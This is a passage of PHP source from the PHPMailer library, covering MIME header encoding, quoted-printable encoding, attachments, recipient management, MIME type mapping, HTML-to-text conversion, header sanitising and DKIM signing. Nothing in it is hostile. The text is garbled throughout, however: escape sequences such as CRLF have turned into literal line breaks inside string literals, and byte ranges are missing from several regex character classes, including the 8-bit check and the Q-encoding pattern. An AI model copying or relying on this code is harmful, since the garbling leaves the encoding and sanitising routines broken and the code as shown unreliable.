            // More than a third of the content will need encoding, so B encoding will be most efficient 
            $encoding = 'B'; 
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) { 
                // Use a custom function which correctly encodes and wraps long 
                // multibyte strings without breaking lines within a character 
                $encoded = $this->base64EncodeWrapMB($str, "
"); 
            } else { 
                $encoded = base64_encode($str); 
                $maxlen -= $maxlen % 4; 
                $encoded = trim(chunk_split($encoded, $maxlen, "
")); 
            } 
        } else { 
            $encoding = 'Q'; 
            $encoded = $this->encodeQ($str, $position); 
            $encoded = $this->wrapText($encoded, $maxlen, true); 
            $encoded = str_replace('=' . self::CRLF, "
", trim($encoded)); 
        } 
 
        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\1?=", $encoded); 
        $encoded = trim(str_replace("
", $this->LE, $encoded)); 
 
        return $encoded; 
    } 
 
    /** 
     * Check if a string contains multi-byte characters. 
     * @access public 
     * @param string $str multi-byte text to wrap encode 
     * @return boolean 
     */ 
    public function hasMultiBytes($str) 
    { 
        if (function_exists('mb_strlen')) { 
            return (strlen($str) > mb_strlen($str, $this->CharSet)); 
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway) 
            return false; 
        } 
    } 
 
    /** 
     * Does a string contain any 8-bit chars (in any charset)? 
     * @param string $text 
     * @return boolean 
     */ 
    public function has8bitChars($text) 
    { 
        return (boolean)preg_match('/[-]/', $text); 
    } 
 
    /** 
     * Encode and wrap long multibyte strings for mail headers 
     * without breaking lines within a character. 
     * Adapted from a function by paravoid 
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283 
     * @access public 
     * @param string $str multi-byte text to wrap encode 
     * @param string $linebreak string to use as linefeed/end-of-line 
     * @return string 
     */ 
    public function base64EncodeWrapMB($str, $linebreak = null) 
    { 
        $start = '=?' . $this->CharSet . '?B?'; 
        $end = '?='; 
        $encoded = ''; 
        if ($linebreak === null) { 
            $linebreak = $this->LE; 
        } 
 
        $mb_length = mb_strlen($str, $this->CharSet); 
        // Each line must have length <= 75, including $start and $end 
        $length = 75 - strlen($start) - strlen($end); 
        // Average multi-byte ratio 
        $ratio = $mb_length / strlen($str); 
        // Base64 has a 4:3 ratio 
        $avgLength = floor($length * $ratio * .75); 
 
        for ($i = 0; $i < $mb_length; $i += $offset) { 
            $lookBack = 0; 
            do { 
                $offset = $avgLength - $lookBack; 
                $chunk = mb_substr($str, $i, $offset, $this->CharSet); 
                $chunk = base64_encode($chunk); 
                $lookBack++; 
            } while (strlen($chunk) > $length); 
            $encoded .= $chunk . $linebreak; 
        } 
 
        // Chomp the last linefeed 
        $encoded = substr($encoded, 0, -strlen($linebreak)); 
        return $encoded; 
    } 
 
    /** 
     * Encode a string in quoted-printable format. 
     * According to RFC2045 section 6.7. 
     * @access public 
     * @param string $string The text to encode 
     * @param integer $line_max Number of chars allowed on a line before wrapping 
     * @return string 
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment 
     */ 
    public function encodeQP($string, $line_max = 76) 
    { 
        // Use native function if it's available (>= PHP5.3) 
        if (function_exists('quoted_printable_encode')) { 
            return quoted_printable_encode($string); 
        } 
        // Fall back to a pure PHP implementation 
        $string = str_replace( 
            array('%20', '%0D%0A.', '%0D%0A', '%'), 
            array(' ', "
=2E", "
", '='), 
            rawurlencode($string) 
        ); 
        return preg_replace('/[^
]{' . ($line_max - 3) . '}[^=
]{2}/', "$0=
", $string); 
    } 
 
    /** 
     * Backward compatibility wrapper for an old QP encoding function that was removed. 
     * @see PHPMailer::encodeQP() 
     * @access public 
     * @param string $string 
     * @param integer $line_max 
     * @param boolean $space_conv 
     * @return string 
     * @deprecated Use encodeQP instead. 
     */ 
    public function encodeQPphp( 
        $string, 
        $line_max = 76, 
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false 
    ) { 
        return $this->encodeQP($string, $line_max); 
    } 
 
    /** 
     * Encode a string using Q encoding. 
     * @link http://tools.ietf.org/html/rfc2047 
     * @param string $str the text to encode 
     * @param string $position Where the text is going to be used, see the RFC for what that means 
     * @access public 
     * @return string 
     */ 
    public function encodeQ($str, $position = 'text') 
    { 
        // There should not be any EOL in the string 
        $pattern = ''; 
        $encoded = str_replace(array("
", "
"), '', $str); 
        switch (strtolower($position)) { 
            case 'phrase': 
                // RFC 2047 section 5.3 
                $pattern = '^A-Za-z0-9!*+\/ -'; 
                break; 
            /** @noinspection PhpMissingBreakStatementInspection */ 
            case 'comment': 
                // RFC 2047 section 5.2 
                $pattern = '\(\)"'; 
                // intentional fall-through 
                // for this reason we build the $pattern without including delimiters and [] 
            case 'text': 
            default: 
                // RFC 2047 section 5.1 
                // Replace every high ascii, control, =, ? and _ characters 
                $pattern = '-	-=?_-' . $pattern; 
                break; 
        } 
        $matches = array(); 
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) { 
            // If the string contains an '=', make sure it's the first thing we replace 
            // so as to avoid double-encoding 
            $eqkey = array_search('=', $matches[0]); 
            if (false !== $eqkey) { 
                unset($matches[0][$eqkey]); 
                array_unshift($matches[0], '='); 
            } 
            foreach (array_unique($matches[0]) as $char) { 
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded); 
            } 
        } 
        // Replace every spaces to _ (more readable than =20) 
        return str_replace(' ', '_', $encoded); 
    } 
 
    /** 
     * Add a string or binary attachment (non-filesystem). 
     * This method can be used to attach ascii or binary data, 
     * such as a BLOB record from a database. 
     * @param string $string String attachment data. 
     * @param string $filename Name of the attachment. 
     * @param string $encoding File encoding (see $Encoding). 
     * @param string $type File extension (MIME) type. 
     * @param string $disposition Disposition to use 
     * @return void 
     */ 
    public function addStringAttachment( 
        $string, 
        $filename, 
        $encoding = 'base64', 
        $type = '', 
        $disposition = 'attachment' 
    ) { 
        // If a MIME type is not specified, try to work it out from the file name 
        if ($type == '') { 
            $type = self::filenameToType($filename); 
        } 
        // Append to $attachment array 
        $this->attachment[] = array( 
            0 => $string, 
            1 => $filename, 
            2 => basename($filename), 
            3 => $encoding, 
            4 => $type, 
            5 => true, // isStringAttachment 
            6 => $disposition, 
            7 => 0 
        ); 
    } 
 
    /** 
     * Add an embedded (inline) attachment from a file. 
     * This can include images, sounds, and just about any other document type. 
     * These differ from 'regular' attachments in that they are intended to be 
     * displayed inline with the message, not just attached for download. 
     * This is used in HTML messages that embed the images 
     * the HTML refers to using the $cid value. 
     * Never use a user-supplied path to a file! 
     * @param string $path Path to the attachment. 
     * @param string $cid Content ID of the attachment; Use this to reference 
     *        the content when using an embedded image in HTML. 
     * @param string $name Overrides the attachment name. 
     * @param string $encoding File encoding (see $Encoding). 
     * @param string $type File MIME type. 
     * @param string $disposition Disposition to use 
     * @return boolean True on successfully adding an attachment 
     */ 
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline') 
    { 
        if (!self::isPermittedPath($path) or !@is_file($path)) { 
            $this->setError($this->lang('file_access') . $path); 
            return false; 
        } 
 
        // If a MIME type is not specified, try to work it out from the file name 
        if ($type == '') { 
            $type = self::filenameToType($path); 
        } 
 
        $filename = basename($path); 
        if ($name == '') { 
            $name = $filename; 
        } 
 
        // Append to $attachment array 
        $this->attachment[] = array( 
            0 => $path, 
            1 => $filename, 
            2 => $name, 
            3 => $encoding, 
            4 => $type, 
            5 => false, // isStringAttachment 
            6 => $disposition, 
            7 => $cid 
        ); 
        return true; 
    } 
 
    /** 
     * Add an embedded stringified attachment. 
     * This can include images, sounds, and just about any other document type. 
     * Be sure to set the $type to an image type for images: 
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'. 
     * @param string $string The attachment binary data. 
     * @param string $cid Content ID of the attachment; Use this to reference 
     *        the content when using an embedded image in HTML. 
     * @param string $name 
     * @param string $encoding File encoding (see $Encoding). 
     * @param string $type MIME type. 
     * @param string $disposition Disposition to use 
     * @return boolean True on successfully adding an attachment 
     */ 
    public function addStringEmbeddedImage( 
        $string, 
        $cid, 
        $name = '', 
        $encoding = 'base64', 
        $type = '', 
        $disposition = 'inline' 
    ) { 
        // If a MIME type is not specified, try to work it out from the name 
        if ($type == '' and !empty($name)) { 
            $type = self::filenameToType($name); 
        } 
 
        // Append to $attachment array 
        $this->attachment[] = array( 
            0 => $string, 
            1 => $name, 
            2 => $name, 
            3 => $encoding, 
            4 => $type, 
            5 => true, // isStringAttachment 
            6 => $disposition, 
            7 => $cid 
        ); 
        return true; 
    } 
 
    /** 
     * Check if an inline attachment is present. 
     * @access public 
     * @return boolean 
     */ 
    public function inlineImageExists() 
    { 
        foreach ($this->attachment as $attachment) { 
            if ($attachment[6] == 'inline') { 
                return true; 
            } 
        } 
        return false; 
    } 
 
    /** 
     * Check if an attachment (non-inline) is present. 
     * @return boolean 
     */ 
    public function attachmentExists() 
    { 
        foreach ($this->attachment as $attachment) { 
            if ($attachment[6] == 'attachment') { 
                return true; 
            } 
        } 
        return false; 
    } 
 
    /** 
     * Check if this message has an alternative body set. 
     * @return boolean 
     */ 
    public function alternativeExists() 
    { 
        return !empty($this->AltBody); 
    } 
 
    /** 
     * Clear queued addresses of given kind. 
     * @access protected 
     * @param string $kind 'to', 'cc', or 'bcc' 
     * @return void 
     */ 
    public function clearQueuedAddresses($kind) 
    { 
        $RecipientsQueue = $this->RecipientsQueue; 
        foreach ($RecipientsQueue as $address => $params) { 
            if ($params[0] == $kind) { 
                unset($this->RecipientsQueue[$address]); 
            } 
        } 
    } 
 
    /** 
     * Clear all To recipients. 
     * @return void 
     */ 
    public function clearAddresses() 
    { 
        foreach ($this->to as $to) { 
            unset($this->all_recipients[strtolower($to[0])]); 
        } 
        $this->to = array(); 
        $this->clearQueuedAddresses('to'); 
    } 
 
    /** 
     * Clear all CC recipients. 
     * @return void 
     */ 
    public function clearCCs() 
    { 
        foreach ($this->cc as $cc) { 
            unset($this->all_recipients[strtolower($cc[0])]); 
        } 
        $this->cc = array(); 
        $this->clearQueuedAddresses('cc'); 
    } 
 
    /** 
     * Clear all BCC recipients. 
     * @return void 
     */ 
    public function clearBCCs() 
    { 
        foreach ($this->bcc as $bcc) { 
            unset($this->all_recipients[strtolower($bcc[0])]); 
        } 
        $this->bcc = array(); 
        $this->clearQueuedAddresses('bcc'); 
    } 
 
    /** 
     * Clear all ReplyTo recipients. 
     * @return void 
     */ 
    public function clearReplyTos() 
    { 
        $this->ReplyTo = array(); 
        $this->ReplyToQueue = array(); 
    } 
 
    /** 
     * Clear all recipient types. 
     * @return void 
     */ 
    public function clearAllRecipients() 
    { 
        $this->to = array(); 
        $this->cc = array(); 
        $this->bcc = array(); 
        $this->all_recipients = array(); 
        $this->RecipientsQueue = array(); 
    } 
 
    /** 
     * Clear all filesystem, string, and binary attachments. 
     * @return void 
     */ 
    public function clearAttachments() 
    { 
        $this->attachment = array(); 
    } 
 
    /** 
     * Clear all custom headers. 
     * @return void 
     */ 
    public function clearCustomHeaders() 
    { 
        $this->CustomHeader = array(); 
    } 
 
    /** 
     * Add an error message to the error container. 
     * @access protected 
     * @param string $msg 
     * @return void 
     */ 
    protected function setError($msg) 
    { 
        $this->error_count++; 
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) { 
            $lasterror = $this->smtp->getError(); 
            if (!empty($lasterror['error'])) { 
                $msg .= $this->lang('smtp_error') . $lasterror['error']; 
                if (!empty($lasterror['detail'])) { 
                    $msg .= ' Detail: '. $lasterror['detail']; 
                } 
                if (!empty($lasterror['smtp_code'])) { 
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code']; 
                } 
                if (!empty($lasterror['smtp_code_ex'])) { 
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex']; 
                } 
            } 
        } 
        $this->ErrorInfo = $msg; 
    } 
 
    /** 
     * Return an RFC 822 formatted date. 
     * @access public 
     * @return string 
     * @static 
     */ 
    public static function rfcDate() 
    { 
        // Set the time zone to whatever the default is to avoid 500 errors 
        // Will default to UTC if it's not set properly in php.ini 
        date_default_timezone_set(@date_default_timezone_get()); 
        return date('D, j M Y H:i:s O'); 
    } 
 
    /** 
     * Get the server hostname. 
     * Returns 'localhost.localdomain' if unknown. 
     * @access protected 
     * @return string 
     */ 
    protected function serverHostname() 
    { 
        $result = 'localhost.localdomain'; 
        if (!empty($this->Hostname)) { 
            $result = $this->Hostname; 
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) { 
            $result = $_SERVER['SERVER_NAME']; 
        } elseif (function_exists('gethostname') && gethostname() !== false) { 
            $result = gethostname(); 
        } elseif (php_uname('n') !== false) { 
            $result = php_uname('n'); 
        } 
        return $result; 
    } 
 
    /** 
     * Get an error message in the current language. 
     * @access protected 
     * @param string $key 
     * @return string 
     */ 
    protected function lang($key) 
    { 
        if (count($this->language) < 1) { 
            $this->setLanguage('en'); // set the default language 
        } 
 
        if (array_key_exists($key, $this->language)) { 
            if ($key == 'smtp_connect_failed') { 
                //Include a link to troubleshooting docs on SMTP connection failure 
                //this is by far the biggest cause of support questions 
                //but it's usually not PHPMailer's fault. 
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting'; 
            } 
            return $this->language[$key]; 
        } else { 
            //Return the key as a fallback 
            return $key; 
        } 
    } 
 
    /** 
     * Check if an error occurred. 
     * @access public 
     * @return boolean True if an error did occur. 
     */ 
    public function isError() 
    { 
        return ($this->error_count > 0); 
    } 
 
    /** 
     * Ensure consistent line endings in a string. 
     * Changes every end of line from CRLF, CR or LF to $this->LE. 
     * @access public 
     * @param string $str String to fixEOL 
     * @return string 
     */ 
    public function fixEOL($str) 
    { 
        // Normalise to 
 
        $nstr = str_replace(array("
", "
"), "
", $str); 
        // Now convert LE as needed 
        if ($this->LE !== "
") { 
            $nstr = str_replace("
", $this->LE, $nstr); 
        } 
        return $nstr; 
    } 
 
    /** 
     * Add a custom header. 
     * $name value can be overloaded to contain 
     * both header name and value (name:value) 
     * @access public 
     * @param string $name Custom header name 
     * @param string $value Header value 
     * @return void 
     */ 
    public function addCustomHeader($name, $value = null) 
    { 
        if ($value === null) { 
            // Value passed in as name:value 
            $this->CustomHeader[] = explode(':', $name, 2); 
        } else { 
            $this->CustomHeader[] = array($name, $value); 
        } 
    } 
 
    /** 
     * Returns all custom headers. 
     * @return array 
     */ 
    public function getCustomHeaders() 
    { 
        return $this->CustomHeader; 
    } 
 
    /** 
     * Create a message body from an HTML string. 
     * Automatically inlines images and creates a plain-text version by converting the HTML, 
     * overwriting any existing values in Body and AltBody. 
     * Do not source $message content from user input! 
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty 
     * will look for an image file in $basedir/images/a.png and convert it to inline. 
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email) 
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly. 
     * @access public 
     * @param string $message HTML message string 
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images 
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter 
     *    or your own custom converter @see PHPMailer::html2text() 
     * @return string $message The transformed message Body 
     */ 
    public function msgHTML($message, $basedir = '', $advanced = false) 
    { 
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images); 
        if (array_key_exists(2, $images)) { 
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') { 
                // Ensure $basedir has a trailing / 
                $basedir .= '/'; 
            } 
            foreach ($images[2] as $imgindex => $url) { 
                // Convert data URIs into embedded images 
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) { 
                    $data = substr($url, strpos($url, ',')); 
                    if ($match[2]) { 
                        $data = base64_decode($data); 
                    } else { 
                        $data = rawurldecode($data); 
                    } 
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2 
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) { 
                        $message = str_replace( 
                            $images[0][$imgindex], 
                            $images[1][$imgindex] . '="cid:' . $cid . '"', 
                            $message 
                        ); 
                    } 
                    continue; 
                } 
                if ( 
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths) 
                    !empty($basedir) 
                    // Ignore URLs containing parent dir traversal (..) 
                    && (strpos($url, '..') === false) 
                    // Do not change urls that are already inline images 
                    && substr($url, 0, 4) !== 'cid:' 
                    // Do not change absolute URLs, including anonymous protocol 
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url) 
                ) { 
                    $filename = basename($url); 
                    $directory = dirname($url); 
                    if ($directory == '.') { 
                        $directory = ''; 
                    } 
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2 
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') { 
                        $directory .= '/'; 
                    } 
                    if ($this->addEmbeddedImage( 
                        $basedir . $directory . $filename, 
                        $cid, 
                        $filename, 
                        'base64', 
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION)) 
                    ) 
                    ) { 
                        $message = preg_replace( 
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui', 
                            $images[1][$imgindex] . '="cid:' . $cid . '"', 
                            $message 
                        ); 
                    } 
                } 
            } 
        } 
        $this->isHTML(true); 
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better 
        $this->Body = $this->normalizeBreaks($message); 
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced)); 
        if (!$this->alternativeExists()) { 
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' . 
                self::CRLF . self::CRLF; 
        } 
        return $this->Body; 
    } 
 
    /** 
     * Convert an HTML string into plain text. 
     * This is used by msgHTML(). 
     * Note - older versions of this function used a bundled advanced converter 
     * which was been removed for license reasons in #232. 
     * Example usage: 
     * <code> 
     * // Use default conversion 
     * $plain = $mail->html2text($html); 
     * // Use your own custom converter 
     * $plain = $mail->html2text($html, function($html) { 
     *     $converter = new MyHtml2text($html); 
     *     return $converter->get_text(); 
     * }); 
     * </code> 
     * @param string $html The HTML text to convert 
     * @param boolean|callable $advanced Any boolean value to use the internal converter, 
     *   or provide your own callable for custom conversion. 
     * @return string 
     */ 
    public function html2text($html, $advanced = false) 
    { 
        if (is_callable($advanced)) { 
            return call_user_func($advanced, $html); 
        } 
        return html_entity_decode( 
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\1>/si', '', $html))), 
            ENT_QUOTES, 
            $this->CharSet 
        ); 
    } 
 
    /** 
     * Get the MIME type for a file extension. 
     * @param string $ext File extension 
     * @access public 
     * @return string MIME type of file. 
     * @static 
     */ 
    public static function _mime_types($ext = '') 
    { 
        $mimes = array( 
            'xl'    => 'application/excel', 
            'js'    => 'application/javascript', 
            'hqx'   => 'application/mac-binhex40', 
            'cpt'   => 'application/mac-compactpro', 
            'bin'   => 'application/macbinary', 
            'doc'   => 'application/msword', 
            'word'  => 'application/msword', 
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', 
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template', 
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow', 
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide', 
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', 
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12', 
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12', 
            'class' => 'application/octet-stream', 
            'dll'   => 'application/octet-stream', 
            'dms'   => 'application/octet-stream', 
            'exe'   => 'application/octet-stream', 
            'lha'   => 'application/octet-stream', 
            'lzh'   => 'application/octet-stream', 
            'psd'   => 'application/octet-stream', 
            'sea'   => 'application/octet-stream', 
            'so'    => 'application/octet-stream', 
            'oda'   => 'application/oda', 
            'pdf'   => 'application/pdf', 
            'ai'    => 'application/postscript', 
            'eps'   => 'application/postscript', 
            'ps'    => 'application/postscript', 
            'smi'   => 'application/smil', 
            'smil'  => 'application/smil', 
            'mif'   => 'application/vnd.mif', 
            'xls'   => 'application/vnd.ms-excel', 
            'ppt'   => 'application/vnd.ms-powerpoint', 
            'wbxml' => 'application/vnd.wap.wbxml', 
            'wmlc'  => 'application/vnd.wap.wmlc', 
            'dcr'   => 'application/x-director', 
            'dir'   => 'application/x-director', 
            'dxr'   => 'application/x-director', 
            'dvi'   => 'application/x-dvi', 
            'gtar'  => 'application/x-gtar', 
            'php3'  => 'application/x-httpd-php', 
            'php4'  => 'application/x-httpd-php', 
            'php'   => 'application/x-httpd-php', 
            'phtml' => 'application/x-httpd-php', 
            'phps'  => 'application/x-httpd-php-source', 
            'swf'   => 'application/x-shockwave-flash', 
            'sit'   => 'application/x-stuffit', 
            'tar'   => 'application/x-tar', 
            'tgz'   => 'application/x-tar', 
            'xht'   => 'application/xhtml+xml', 
            'xhtml' => 'application/xhtml+xml', 
            'zip'   => 'application/zip', 
            'mid'   => 'audio/midi', 
            'midi'  => 'audio/midi', 
            'mp2'   => 'audio/mpeg', 
            'mp3'   => 'audio/mpeg', 
            'mpga'  => 'audio/mpeg', 
            'aif'   => 'audio/x-aiff', 
            'aifc'  => 'audio/x-aiff', 
            'aiff'  => 'audio/x-aiff', 
            'ram'   => 'audio/x-pn-realaudio', 
            'rm'    => 'audio/x-pn-realaudio', 
            'rpm'   => 'audio/x-pn-realaudio-plugin', 
            'ra'    => 'audio/x-realaudio', 
            'wav'   => 'audio/x-wav', 
            'bmp'   => 'image/bmp', 
            'gif'   => 'image/gif', 
            'jpeg'  => 'image/jpeg', 
            'jpe'   => 'image/jpeg', 
            'jpg'   => 'image/jpeg', 
            'png'   => 'image/png', 
            'tiff'  => 'image/tiff', 
            'tif'   => 'image/tiff', 
            'eml'   => 'message/rfc822', 
            'css'   => 'text/css', 
            'html'  => 'text/html', 
            'htm'   => 'text/html', 
            'shtml' => 'text/html', 
            'log'   => 'text/plain', 
            'text'  => 'text/plain', 
            'txt'   => 'text/plain', 
            'rtx'   => 'text/richtext', 
            'rtf'   => 'text/rtf', 
            'vcf'   => 'text/vcard', 
            'vcard' => 'text/vcard', 
            'xml'   => 'text/xml', 
            'xsl'   => 'text/xml', 
            'mpeg'  => 'video/mpeg', 
            'mpe'   => 'video/mpeg', 
            'mpg'   => 'video/mpeg', 
            'mov'   => 'video/quicktime', 
            'qt'    => 'video/quicktime', 
            'rv'    => 'video/vnd.rn-realvideo', 
            'avi'   => 'video/x-msvideo', 
            'movie' => 'video/x-sgi-movie' 
        ); 
        if (array_key_exists(strtolower($ext), $mimes)) { 
            return $mimes[strtolower($ext)]; 
        } 
        return 'application/octet-stream'; 
    } 
 
    /** 
     * Map a file name to a MIME type. 
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data. 
     * @param string $filename A file name or full path, does not need to exist as a file 
     * @return string 
     * @static 
     */ 
    public static function filenameToType($filename) 
    { 
        // In case the path is a URL, strip any query string before getting extension 
        $qpos = strpos($filename, '?'); 
        if (false !== $qpos) { 
            $filename = substr($filename, 0, $qpos); 
        } 
        $pathinfo = self::mb_pathinfo($filename); 
        return self::_mime_types($pathinfo['extension']); 
    } 
 
    /** 
     * Multi-byte-safe pathinfo replacement. 
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe. 
     * Works similarly to the one in PHP >= 5.2.0 
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461 
     * @param string $path A filename or path, does not need to exist as a file 
     * @param integer|string $options Either a PATHINFO_* constant, 
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2 
     * @return string|array 
     * @static 
     */ 
    public static function mb_pathinfo($path, $options = null) 
    { 
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => ''); 
        $pathinfo = array(); 
        if (preg_match('%^(.*?)[\\/]*(([^/\\]*?)(\.([^\.\\/]+?)|))[\\/\.]*$%im', $path, $pathinfo)) { 
            if (array_key_exists(1, $pathinfo)) { 
                $ret['dirname'] = $pathinfo[1]; 
            } 
            if (array_key_exists(2, $pathinfo)) { 
                $ret['basename'] = $pathinfo[2]; 
            } 
            if (array_key_exists(5, $pathinfo)) { 
                $ret['extension'] = $pathinfo[5]; 
            } 
            if (array_key_exists(3, $pathinfo)) { 
                $ret['filename'] = $pathinfo[3]; 
            } 
        } 
        switch ($options) { 
            case PATHINFO_DIRNAME: 
            case 'dirname': 
                return $ret['dirname']; 
            case PATHINFO_BASENAME: 
            case 'basename': 
                return $ret['basename']; 
            case PATHINFO_EXTENSION: 
            case 'extension': 
                return $ret['extension']; 
            case PATHINFO_FILENAME: 
            case 'filename': 
                return $ret['filename']; 
            default: 
                return $ret; 
        } 
    } 
 
    /** 
     * Set or reset instance properties. 
     * You should avoid this function - it's more verbose, less efficient, more error-prone and 
     * harder to debug than setting properties directly. 
     * Usage Example: 
     * `$mail->set('SMTPSecure', 'tls');` 
     *   is the same as: 
     * `$mail->SMTPSecure = 'tls';` 
     * @access public 
     * @param string $name The property name to set 
     * @param mixed $value The value to set the property to 
     * @return boolean 
     * @TODO Should this not be using the __set() magic function? 
     */ 
    public function set($name, $value = '') 
    { 
        if (property_exists($this, $name)) { 
            $this->$name = $value; 
            return true; 
        } else { 
            $this->setError($this->lang('variable_set') . $name); 
            return false; 
        } 
    } 
 
    /** 
     * Strip newlines to prevent header injection. 
     * @access public 
     * @param string $str 
     * @return string 
     */ 
    public function secureHeader($str) 
    { 
        return trim(str_replace(array("
", "
"), '', $str)); 
    } 
 
    /** 
     * Normalize line breaks in a string. 
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format. 
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks. 
     * @param string $text 
     * @param string $breaktype What kind of line break to use, defaults to CRLF 
     * @return string 
     * @access public 
     * @static 
     */ 
    public static function normalizeBreaks($text, $breaktype = "
") 
    { 
        return preg_replace('/(
|
|
)/ms', $breaktype, $text); 
    } 
 
    /** 
     * Set the public and private key files and password for S/MIME signing. 
     * @access public 
     * @param string $cert_filename 
     * @param string $key_filename 
     * @param string $key_pass Password for private key 
     * @param string $extracerts_filename Optional path to chain certificate 
     */ 
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '') 
    { 
        $this->sign_cert_file = $cert_filename; 
        $this->sign_key_file = $key_filename; 
        $this->sign_key_pass = $key_pass; 
        $this->sign_extracerts_file = $extracerts_filename; 
    } 
 
    /** 
     * Quoted-Printable-encode a DKIM header. 
     * @access public 
     * @param string $txt 
     * @return string 
     */ 
    public function DKIM_QP($txt) 
    { 
        $line = ''; 
        for ($i = 0; $i < strlen($txt); $i++) { 
            $ord = ord($txt[$i]); 
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) { 
                $line .= $txt[$i]; 
            } else { 
                $line .= '=' . sprintf('%02X', $ord); 
            } 
        } 
        return $line; 
    } 
 
    /** 
     * Generate a DKIM signature. 
     * @access public 
     * @param string $signHeader 
     * @throws phpmailerException 
     * @return string The DKIM signature value 
     */ 
    public function DKIM_Sign($signHeader) 
    { 
        if (!defined('PKCS7_TEXT')) { 
            if ($this->exceptions) { 
                throw new phpmailerException($this->lang('extension_missing') . 'openssl'); 
            } 
            return ''; 
        } 
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private); 
        if ('' != $this->DKIM_passphrase) { 
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase); 
        } else { 
            $privKey = openssl_pkey_get_private($privKeyStr); 
        } 
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions 
        //@link http://stackoverflow.com/a/11117338/333340 
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and 
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) { 
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) { 
                openssl_pkey_free($privKey); 
                return base64_encode($signature); 
            } 
        } else { 
            $pinfo = openssl_pkey_get_details($privKey); 
            $hash = hash('sha256', $signHeader); 
            //'Magic' constant for SHA256 from RFC3447 
            //@link https://tools.ietf.org/html/rfc3447#page-43 
            $t = '3031300d060960864801650304020105000420' . $hash; 
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3); 
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t); 
 
            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) { 
                openssl_pkey_free($privKey); 
                return base64_encode($signature); 
            } 
        } 
        openssl_pkey_free($privKey); 
        return ''; 
    } 
 
    /** 
     * Generate a DKIM canonicalization header. 
     * @access public 
     * @param string $signHeader Header 
     * @return string 
     */ 
    public function DKIM_HeaderC($signHeader) 
    { 
        $signHeader = preg_replace('/
\s+/', ' ', $signHeader); 
        $lines = explode("
", $signHeader); 
        foreach ($lines as $key => $line) { 
            list($heading, $value) = explode(':', $line, 2); 
            $heading = strtolower($heading); 
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces 
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value 
        } 
        $signHeader = implode("
", $lines); 
        return $signHeader; 
    } 
 
    /** 
     * Generate a DKIM canonicalization body. 
     * @access public 
     * @param string $body Message Body 
     * @return string 
     */ 
    public function DKIM_BodyC($body) 
    { 
        if ($body == '') { 
            return "
"; 
        } 
